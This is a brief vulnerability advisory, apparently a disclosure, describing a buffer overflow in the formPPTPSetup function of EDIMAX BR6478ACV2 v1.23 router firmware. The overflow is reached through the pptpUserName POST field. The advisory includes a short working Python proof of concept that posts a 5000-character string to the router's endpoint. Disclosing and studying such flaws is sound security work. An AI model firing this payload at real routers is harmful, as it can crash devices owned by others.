Overview

Affected version

BR6478ACV2_v1.23

Vulnerability details

The EDIMAX BR6478ACV2_v1.23 firmware has a buffer overflow vulnerability in the formPPTPSetup function. The v108 variables receive the pptpUserName parameters from a POST request. However, since the user can control the input of these variables, the statement strcat(); can cause a buffer overflow.

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POC

import requests

ip = "192.168.2.1"

data = {
    "pptpUserName": "A"*5000,
}
url = f'http://{ip}/goform/formPPTPSetup'

res = requests.post(url=url, data=data, verify=False)
print(res)

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